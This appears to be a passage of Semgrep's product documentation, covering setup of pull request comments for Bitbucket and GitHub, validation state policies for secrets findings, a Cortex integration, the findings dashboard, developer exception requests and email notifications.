You have successfully configured PR comments for Semgrep Secrets.
#### Validation state policies
Validation state policies allow you to define how Semgrep handles the following issues:
* **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
* **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
To edit the policy for invalid secrets and errors:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Click **Validation State Policies**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Supply Chain
To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
### Receive comments in an access-controlled Bitbucket account
Bitbucket Premium provides [ access control features](https://support.atlassian.com/bitbucket-cloud/control-access-to-your-private-content/) for content that your individual account owns. If you use this feature, you need to add several IP addresses into your allowlist.
If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
```bash theme={null}
# Ingress IP addresses (from Semgrep to your infrastructure)
# and egress IP addresses (from your infrastructure to Semgrep)
35.166.231.235
52.35.248.246
52.34.137.110
44.225.64.41
```
#### Additional egress IP addresses
You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
#### Test your configuration
Test that you are able to receive findings by manually triggering a scan through your CI provider.
Receiving PR or MR comments may require additional steps depending on the custom configuration of your VPN or SCM (for example, if you use a static IP without a hostname). Reach out to [Semgrep Support](/support) with any concerns.
**INFO**
Only rules set to the **Comment** and **Block** rule modes in the [Policies page](https://semgrep.dev/orgs/-/policies) create PR comments.
## Optional features
### Customize PR comments
You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
To provide custom PR comments:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
Navigate to **Settings > General > Global**.
Go to the **Custom PR/MR comments footers** section.
Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports Markdown and plaintext links in your message.
Click **Save changes**.
### Enable Rule-defined fix in Bitbucket Cloud repositories
[Autofix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
In Semgrep AppSec Platform, go to **Settings > General > Code**.
Use the **Rule-defined fix ** toggle to enable this feature.
## Next steps
You've finished setting up a core deployment of Semgrep π.
* Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
## Additional references
# Enable Bitbucket Data Center pull request comments
Source: https://docs.semgrep.dev/semgrep-appsec-platform/bitbucket-data-center-pr-comments
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
Semgrep can create **pull request (PR) comments** in your Bitbucket repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. They are a means for security teams, or any team responsible for creating standards to help their fellow developers write safe and standards-compliant code.
Automated comments on Bitbucket pull requests are displayed as follows:
## Conditions for PR comment creation
PR comments appear for the following types of scans under these conditions:
| Type of scan | Product name | Trigger condition | How to set up |
| :----------------------------------------- | :------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
Comments from Supply Chain scans include the following information:
**Risk**
A description of the vulnerability, including the types of attack it is vulnerable to.
**Fix**
Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
**Reference**
A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
## Enable PR comments in Bitbucket
### Prerequisites
* You must have a Bitbucket Data Center HTTP access token. Ensure that the [HTTP access token that you create](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) has been granted **Project write** permissions. You'll provide this token to your CI provider during the setup process.
* Semgrep has been tested with Bitbucket Data Center v8.19. If you are using a different version of BBDC and there are issues, please [reach out to support](/support).
### Confirm your Semgrep account's connection
Confirm that you have the correct connection and access:
In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
Check that an entry for your Bitbucket project exists and is correct.
#### Triage through PR comments
Developers can triage Semgrep findings without leaving Bitbucket by responding to the PR comments authored by Semgrep. Semgrep requires Bitbucket Data Center source code manager (SCM) connections to use an HTTP access token with **Project admin** permissions, so your connection may already use an appropriate token.
If you do not, to update your connection between Semgrep and Bitbucket Data Center:
Ensure that you're using Bitbucket Data Center version 8.8 or later.
Log in to Bitbucket using an account assigned with the **Project Admin** role.
See [Bitbucket Data Center HTTP access token requirements](/deployment/managed-scanning/bitbucket#bitbucket-data-center) to create or update your token.
Return to Semgrep and [ sign in](https://semgrep.dev/login).
Go to ** Settings > Source code managers**, and find your Bitbucket connection.
Click **Update access token**.
In the **Update access token** dialog that appears, provide the new token you created. Click **Update** to save and proceed.
Toggle the **Incoming webhooks** setting on.
Once you've successfully enabled webhooks and the **Default developer triage permissions** toggle is on, developers can triage Semgrep findings from Bitbucket Data Center.
### Configure comments for Semgrep Code
In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
Optional: Use the filters to quickly find rules to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Code.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Secrets
In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Secrets.
#### Validation state policies
Validation state policies allow you to define how Semgrep handles the following issues:
* **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep cannot communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep cannot communicate with an on-premise deployment.
* **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
To edit the policy for invalid secrets and errors:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Click **Validation State Policies**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Supply Chain
To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
## Optional features
### Customize PR comments
You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
To provide custom PR comments:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
Navigate to **Settings > General > Global**.
Go to the **Custom PR/MR comments footers** section.
Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports Markdown and plaintext links in your message.
Click **Save changes**.
### Enable Rule-defined fix in Bitbucket Data Center repositories
[Autofix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
In Semgrep AppSec Platform, go to **Settings > General > Code**.
Use the **Rule-defined fix ** toggle to enable this feature.
## Next steps
You've finished setting up a core deployment of Semgrep π.
* Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
## Additional references
# View exposure and runtime context from Cortex by Palo Alto Networks
Source: https://docs.semgrep.dev/semgrep-appsec-platform/cortex
The Semgrep Cortex integration can ingest exposure and runtime context from your Cortex instance in Semgrep AppSec Platform. This allows you to prioritize findings based on deployment status and internet exposure status.
## Prerequisites
Before proceeding, ensure that you have:
* A Cloud Posture Security license
* The following tools and integrations set up in your Cortex instance:
* A [ cloud service provider](https://docs-cortex.paloaltonetworks.com/r/Cortex-CLOUD/Cortex-Cloud-Runtime-Security-Documentation/Ingest-cloud-assets?tocId=2jhG7867R_efYTshrrusgA), such as AWS, GCP, or Azure
* A [ version control system](https://docs-cortex.paloaltonetworks.com/r/Cortex-Cloud-Posture-Management/Application-Security-Posture-Management-ASPM/Onboard-version-control-systems) integration, such as GitHub or GitLab
* A [ CI tool](https://docs-cortex.paloaltonetworks.com/r/Cortex-Cloud-Posture-Management/Application-Security-Posture-Management-ASPM/Integrate-CI-Tools) integration, such as Jenkins or CircleCI
* If you use GitHub Actions for your CI/CD pipeline and you've onboarded a GitHub Cloud or GitHub Server VCS integration, you don't have to configure a GitHub Actions integration separately.
* A [ Kubernetes connector](https://docs-cortex.paloaltonetworks.com/r/Cortex-CLOUD/Cortex-Cloud-Runtime-Security-Documentation/Onboard-the-Kubernetes-Connector?tocId=WsDqs1Oz8m7F0mqiWVsErA) if your resources are deployed in a Kubernetes cluster
* Generated a [ Standard API key](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR-REST-API/Get-Started-with-Cortex-XDR-APIs) and saved the following values:
* **API key**
* **API key ID**
* Set up a connection between [Semgrep and your source code manager (SCM)](/deployment/connect-scm)
## Enable the Cortex integration
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to [**Settings** > **Integrations**](https://semgrep.dev/orgs/-/settings/integrations).
Navigate to **Integrations**, and click **+ Add > Cortex**.
In the dialog that appears, provide the following information:
i. **FQDN**: This is the unique host and domain name associated with your Cortex tenant. It usually takes the format `https://your-tenant.xdr.your-region.paloaltonetworks.com/`.
ii. **API key ID**: This is generated when you create an API key in Cortex.
iii. **API key**: This is generated when you create an API key in Cortex.
Click **Connect**.
Within several hours, you should see **Deployment** and **Exposure** status for each project on the project settings page.
## Limitations
* Each Semgrep deployment can only have **one Cortex integration**.
* The exposure and runtime context data are only synced for Semgrep projects that are connected to SCMs and have been scanned within the previous 30 days.
* The integration syncs your data every 24 hours (this feature will be available soon), but it may take up to 1-2 days for Semgrep to reflect any changes to your repositories and infrastructure.
* Internet exposure detection is not supported for AWS Classic Load Balancers.
## Troubleshooting
### If you see a **Connection Error** message under your Cortex integration
If you see the **Connection Error** message under your Cortex integration, there was an issue establishing a connection or running a sync job for a provider you have connected. Check your connection settings to verify that your configuration is correct.
If the connection settings are correct, [contact Support](/support) for further assistance.
### If you're not seeing data in your project settings page
If you're not seeing data for your project in the project settings page:
* Wait for one day for your data to sync.
* Confirm that an image of the project has been deployed in your infrastructure that Cortex has access to
* If, after one day, you're still not seeing data, ensure that you meet the integration's prerequisites.
* If, after one day, you meet the integration's prerequisites and confirmed deployment, [contact Support](/support) for further assistance.
# Dashboard
Source: https://docs.semgrep.dev/semgrep-appsec-platform/dashboard
The [Semgrep dashboard](https://semgrep.dev/orgs/-/) is an overview of your organizationβs security posture based on data aggregated within Semgrep AppSec Platform. It helps you:
* Evaluate your AppSec program, enabling you to know your current security risk.
* Assess the deployment and adoption of **[secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep)** to your organization.
* Become aware of trends and opportunities that you can use to improve your security posture.
* Quickly filter data granularly for all the charts on the page and view priority findings.
* Export the information as a PDF report.
## Dashboard overview
The dashboard is divided into several sections:
| Section | Description |
| :------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Reporting summary top bar | Sets the filters for all the data in the page. |
| Production backlog | Displays data about all the findings detected in your primary or default branch and helps you answer the following questions: - How is my security posture doing over time? - Is my backlog decreasing or increasing? - Is the team addressing findings faster than new findings are coming in? |
| [Secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep) | Displays data relevant to the deployment and adoption of secure guardrails. It helps address the following: - How many vulnerabilities did Semgrep prevent from entering production over time? - Am I effectively introducing guardrails to my developers? - Of the issues shown to developers, are they being fixed, or are they being ignored? |
| Most findings by project | Lists projects arranged by most open findings to least, grouped by **product** or **severity**. Helps answer the following: - Which of my projects have the most findings in a particular product area? - Which of my projects have the most findings for a particular severity? |
| Median open age | A graph showing the middle age of all Open findings, grouped by product or severity. Half of the open findings are older than this age, and half are newer. Helps you answer: - What is the amount of time a finding remains open, by product or by severity? |
**TIP**
Use the **filters** to quickly generate views for a single Semgrep product or all products.
When viewing data for a single Semgrep product, you can't group by product in **Most findings by project** and **Median open age**.
## Export reports
To generate reports from the current view, click **Dashboard > Download**.
## Triage states
The following triage states are displayed:
* Open
* Ignored, including provisionally ignored
* Fixed
Additional triage states, such as **Fixing** or **Reviewing**, are not displayed at this time.
## Filters and configuration
Use the filters to gain a top-level view or zoom in to a single product, specific period of time, or other slice of data. Create quarterly overviews or recent incident statements for various AppSec stakeholders.
Configurations set here apply to the entire page.
The following quick filters are visible on the page:
* Time period
* Semgrep product or type of scan (SAST, SCA, or Secrets)
* Project (a repository or a subfolder of a monorepo)
* [Recommended priority](#recommended-priority) toggle
**INFO**
* By default, the Dashboard displays data for projects that members or managers have access to. Admins can view findings from all the projects in the organization. See the [Teams documentation](/deployment/teams/overview#teams-beta) for more information.
* It can take up to a day **(24 hours)** for the Dashboard to correctly update and remove findings if you have recently deleted a project.
To access **all** filters:
Click **All filters** to open the filter drawer.
Turn off the ** Recommended priority** toggle.
This displays the following filters in the filter drawer:
* [Severity](/writing-rules/rule-syntax#required)
* [Confidence](/contributing/contributing-to-semgrep-rules-repository#confidence)
* [Reachability](/semgrep-supply-chain/findings#reachability)
* [Validation](/semgrep-secrets/conceptual-overview#validate-secrets)
* Time period
* Product
* Project
* Tags
* Teams
### Recommended priority
This refers to any finding that is **Critical** or **High** severity in **addition** to being:
* [High confidence](/contributing/contributing-to-semgrep-rules-repository#confidence) - if the finding is from Semgrep Code.
* [Reachable](/semgrep-supply-chain/findings#reachability) - if the finding is from Semgrep Supply Chain.
* [Valid](/semgrep-secrets/conceptual-overview#validate-secrets) - if the finding is from Semgrep Secrets.
By default, ** Recommended priority** filters are enabled.
If you choose to turn off recommended priority filters, **all** findings are displayed.
## Production backlog
This pane displays analytics related to findings detected in your **primary or default branch**. This typically means that the finding, usually a security issue, has made it to production environments.
### Key metrics
| Key metrics | Description |
| :------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Total opened | Total number of findings set to **Open** during the time period. This includes new findings as well as re-opened findings that were previously in a different state. |
| Total fixed | Total number of **Fixed** findings during the time period that **remained** fixed until the end of the time period. |
| Total ignored | Total number of **Ignored** findings during the time period that **remained** ignored until the end of the time period. **Ignored** findings includes those with a status of **Provisionally ignored**. |
| Total net new | The difference between the number of **Open** findings at the beginning of the time period and the end of the time period. |
**TIP**
A low or negative value for **Total net new** is ideal. It indicates that, within the period, more findings are being triaged or resolved than opened. This reduces the backlog of security issues.
### Charts
| Chart | Description |
| :--------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Open backlog | This tracks the total findings from each scan and displays them. Lower values are better.
Hover over the chart to see a breakdown of findings by product for the selected time period. |
| Backlog activity | Displays the number of new, net new, fixed, and ignored, including provisionally ignored, findings. A greater **Fixed** value is better.
Hover over the chart to see a breakdown of findings by triage state for that selected time period. |
## Secure guardrails
This provides an overview of how secure guardrails in **PR or MR comments** are used in your organization, including how often Semgrep shows findings to developers, how the developers handle the findings, and how often Semgrep flags a finding as provisionally ignored.
Other guardrail interfaces, such as the IDE or `pre-commit`, are not counted in this section.
### Key metrics
| Key metrics | Description |
| :---------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Findings shown to devs | Number of findings shown to developers in PR or MR comments (the numerator) against the total findings count (denominator). An upward or stable trend is better. |
| Findings fixed in development | Number of findings that were fixed before they could be detected in a default branch or production backlog (numerator) against the total findings count in the specified time period (denominator). An upward or stable trend is better.
Hover over the chart to see a breakdown of findings by triage state for that selected time period. |
### Charts
| Chart | Description |
| :------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Secure guardrails adoption | Percent of new findings shown to developers over the specified time period. An upward or stable trend is better. |
| Guardrails activity | This chart displays a breakdown of the status of findings shown to developers; whether they were ignored, provisionally ignored, fixed, or remained open. A greater **Fixed** value is better.
Hover over the chart to see a breakdown of findings by triage state for that selected time period. |
## Most findings by project
A table listing projects from most open findings to least, grouped by product or severity. Lower values are better.
**TIP**
It is recommended to prioritize triage and remediation for the top projects listed in this table, especially if the priority filters are enabled.
## Median open age
A chart displaying the median open age of a finding in **days** over the specified time period. Lower is better.
For a finding to be remediated, it must have any of the following statuses:
* Fixed
* Ignored, including provisionally ignored
# Developer exception requests
Source: https://docs.semgrep.dev/semgrep-appsec-platform/developer-exception-requests
Developer exception requests is a Semgrep feature that allows you to request that a finding be triaged as **Ignored** if you think it is safe to ignore, a false positive, or an acceptable risk.
After Semgrep scans your project, you can review your findings and request an exception to ignore a finding.
For blocking findings, you must request and receive approval to ignore the finding. Once you receive approval from a Semgrep admin, you can re-scan the project to unblock your pull request (PR) or merge request (MR).
For non-blocking findings, you can merge the PR or MR without an approved exception request from an admin. However, the finding's status remains unchanged and is only changed to **Ignored** when a Semgrep admin approves the request.
## Request an exception
To request an exception:
* [Respond to the PR or MR comment](#respond-to-a-pr-or-mr-comment) that Semgrep posted.
* [Triage a finding and submit a request in Semgrep AppSec Platform](#triage-a-finding-and-submit-a-request-in-semgrep-appsec-platform). When you triage a finding in Semgrep AppSec Platform, your action is submitted as a request instead of immediately changing the finding's status.
### Respond to a PR or MR comment
When Semgrep identifies a finding in your PR or MR, it posts a comment indicating whether the finding is blocking, provides a description of the issue, provides instructions on resolving the issue, and provides a link to the finding on Semgrep AppSec Platform.
To request an exception, reply to Semgrep's comment using one of the following options:
* `/ignore `
* `/fp `
* `/ar `
### Triage a finding and submit a request in Semgrep AppSec Platform
1. Log in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
2. Go to the **Findings** page for the product of interest: [Code](https://semgrep.dev/orgs/-/findings), [Supply Chain](https://semgrep.dev/orgs/-/supply-chain), or [Secrets](https://semgrep.dev/orgs/-/secrets).
3. To triage a finding in the **Group by Rule** view:
1. Find the rule used to generate the finding. Select the checkbox for the associated finding. Then, click **Triage > Ignored**.
2. Select **Ignore reason**, and optionally, provide **Comments** to describe why you're ignoring the finding.
3. Click **Request to ignore**.
4. To triage a finding in the **No grouping** view:
1. Select the checkbox next to the finding you want to ignore, and click **Triage > Ignored**.
2. Select **Ignore reason**, and optionally, provide **Comments** to describe why you're ignoring the finding.
3. Click **Request to ignore**.
## Review responses to your requests
**For requests initiated in a PR or MR comment:** Once an admin has reviewed and responded to your request, Semgrep posts a follow-up comment to the existing PR or MR comment thread.
If the admin has **approved** your request and the finding involved was a blocking finding, you can rescan your PR or MR to unblock it. The finding's status in Semgrep AppSec Platform also changes to **Ignored**. If the finding was *not* a blocking finding, the status of the finding in AppSec Platform changes to **Ignored**.
If your request is **denied**, the PR comment informs you of this. The finding's status in Semgrep AppSec Platform changes to **To fix**, indicating that you must address the finding before proceeding.
**For requests initiated in Semgrep AppSec Platform:** View the finding to see its status. If your request is approved, the status updates to **Ignored**. Otherwise, the status remains **To fix**.
## Enable developer exception requests
To enable exception requests:
1. Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with an admin account.
2. Go to [**Rules & Policies > Policies**](https://semgrep.dev/orgs/-/policies), and ensure that you're on the **Remediation** tab.
3. [Create a new remediation policy](/semgrep-appsec-platform/unified-policies/get-started#create-a-remediation-policy), or modify an existing remediation policy by finding the policy of interest, then clicking ** icon** to open the policy definition.
4. In the policy defintion, go to **Action**. Then, ensure that one of the actions you select is **Require developer exception requests** and you provide the handle of the person who approves the requests.
Once you enable exception requests:
* For blocking findings, developers must request and receive an exception to ignore the finding. Once they receive approval, they can re-scan the PR or MR and unblock it.
* For non-blocking findings, developers must request and receive an exception to ignore the finding. They can, however, merge the PR or MR without receiving an approval. Only when an admin approves the request does the finding's status change.
## Review an exception request
Semgrep admins can review and approve or deny exception requests in Semgrep AppSec Platform.
1. Log in to [ Semgrep AppSec Platform](https://semgrep.dev/login). Ensure that the account you're using has been granted admin privileges.
2. Go to the **Findings** page for the product of interest: [Code](https://semgrep.dev/orgs/-/findings), [Supply Chain](https://semgrep.dev/orgs/-/supply-chain), or [Secrets](https://semgrep.dev/orgs/-/secrets).
3. Click on the **Pending approval** tab to view all pending requests.
When you approve an exception request, Semgrep updates the finding's status to **Ignored**. Semgrep then posts a new comment on the PR or MR, informing the developer that they can now rerun the scan to unblock it.
When you deny an exception request, Semgrep posts a new comment to the PR or MR to inform the developer that their request was denied. The finding's status in Semgrep AppSec Platform changes to **To fix** to indicate that the finding must be addressed through code changes.
# Receive email notifications
Source: https://docs.semgrep.dev/semgrep-appsec-platform/email-notifications
You can receive emails from Semgrep regarding **new findings** and **failed scans**.
Perform these steps in Semgrep AppSec Platform to create an email integration and receive notifications:
Create an email integration:
i. On the navigation menu, click ** Settings > Integrations > Add**.
ii. Click on **Email**.
iii. Enter a **Name** for the integration.
iv. Enter the **Email** address to receive Semgrep findings.
v. Click **Subscribe**.
Turn notifications on:
i. Click **Rules > Policies > Rule Modes**.
ii. Click the **Edit** button of the Rule Mode for which you want to receive email notifications. For example, if you want to be notified of all blocking findings through email, click the **Edit** button of the **Block** mode.
iii. Repeat the previous step for all Rule Modes that you want to receive notifications for.
## Notification and alert de-duplication
Notifications are sent only the first time a given finding is detected.
When running a diff-aware scan, Semgrep doesn't notify you when a pull request has a finding that existed on the base branch already, even if that line is moved or re-indented.
Semgrep also tracks notifications that have already been sent, so subsequent scans of the same changes in a pull request won't result in duplicate notifications.
**NOTE**
See [Findings in CI](/semgrep-ci/findings-ci) for more information about how Semgrep tracks a finding through its lifetime.
### Number of emails
Emails about new findings are triggered only once. These emails also include a **summary** of current open findings.
# Set up GitHub pull request comments
Source: https://docs.semgrep.dev/semgrep-appsec-platform/github-pr-comments
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
Semgrep can create **pull request (PR) comments** in your GitHub repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards to help their fellow developers write safe and standards-compliant code.
Semgrep findings are typically posted in your PR or MR. The following image displays the parts of a Semgrep PR comment in GitHub; this example appears in a similar form in GitLab and other SCMs:
**A - Block indicator**
This appears if a finding fails the CI job. Organizations typically block PRs or MRs with failed jobs.
**B - Finding description**
A human-written description always appears in a PR or MR comment, describing why your code is flagged. **References** may also be included to help you learn more about the finding.
**C - Dataflow graph**
Some Code findings have a dataflow graph, which indicates that the finding was detected through %%taint analysis|taint\_analysis%%. The dataflow graph provides the lines of code identifying sources, sinks, and traces of unsanitized data flowing through your program. You can click the links on the boxes to take you to the lines of code.
**D - Resolution or remediation section**
Various options are provided to help your resolve the finding. Depending on the type of finding, resolution options may vary.
**E - Ignore instructions**
Click to view instructions about how to ignore the finding by replying to the comment.
Depending on the features you have enabled, your PR comment can also appear more straightforward:
## Conditions for PR comment creation
PR comments appear for the following types of scans under these conditions:
| Type of scan | Product name | Trigger condition | How to set up |
| :----------------------------------------- | :------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1.[Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
Comments from Supply Chain scans include the following information:
**Risk**
A description of the vulnerability, including the types of attack it is vulnerable to.
**Fix**
Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
**Reference**
A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
## Steps to set up PR comments
### Prerequisites
In addition to finishing the previous steps in your deployment journey, it is recommended to have completed a **full scan** on your **default branch** for the repository in which you want to receive comments.
### Confirm your Semgrep account's connection
Confirm that you have the correct connection and access:
In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
Check that an entry for your GitHub org exists and is correct.
### Confirm repository access
Ensure that Semgrep's GitHub app (`semgrep-app`) has sufficient permissions to post PR comments:
Navigate to your `semgrep-app` settings:
i. For personal accounts, navigate to the following URL `https://github.com/settings/installations`.
ii. For organization accounts, navigate to the following URL, substituting YOUR\_ORG\_NAME with the name of your account: `https://github.com/organizations/YOUR_ORG_NAME/settings/installations`.
On the `semgrep-app` row, click **Configure**.
Check that you have granted the following permission: `ReadΒ andΒ writeΒ access to actions, pull requests, secrets, security events, and workflows`.
Under **Repository access**, check that you have included the repositories that you added to Semgrep AppSec Platform. Review the following examples:
For GitHub Actions users, no further steps need to be undertaken. Continue setting up PR comments by configuring comments for Semgrep Code.
### Required environment variables
For CI providers aside from GitHub Actions, additional environment variables must be set:
* SEMGREP\_PR\_ID is set to the PR number of the pull request on GitHub Actions.
* [`SEMGREP_REPO_NAME`](/semgrep-ci/ci-environment-variables/#semgrep_repo_name) is set to the repository name.
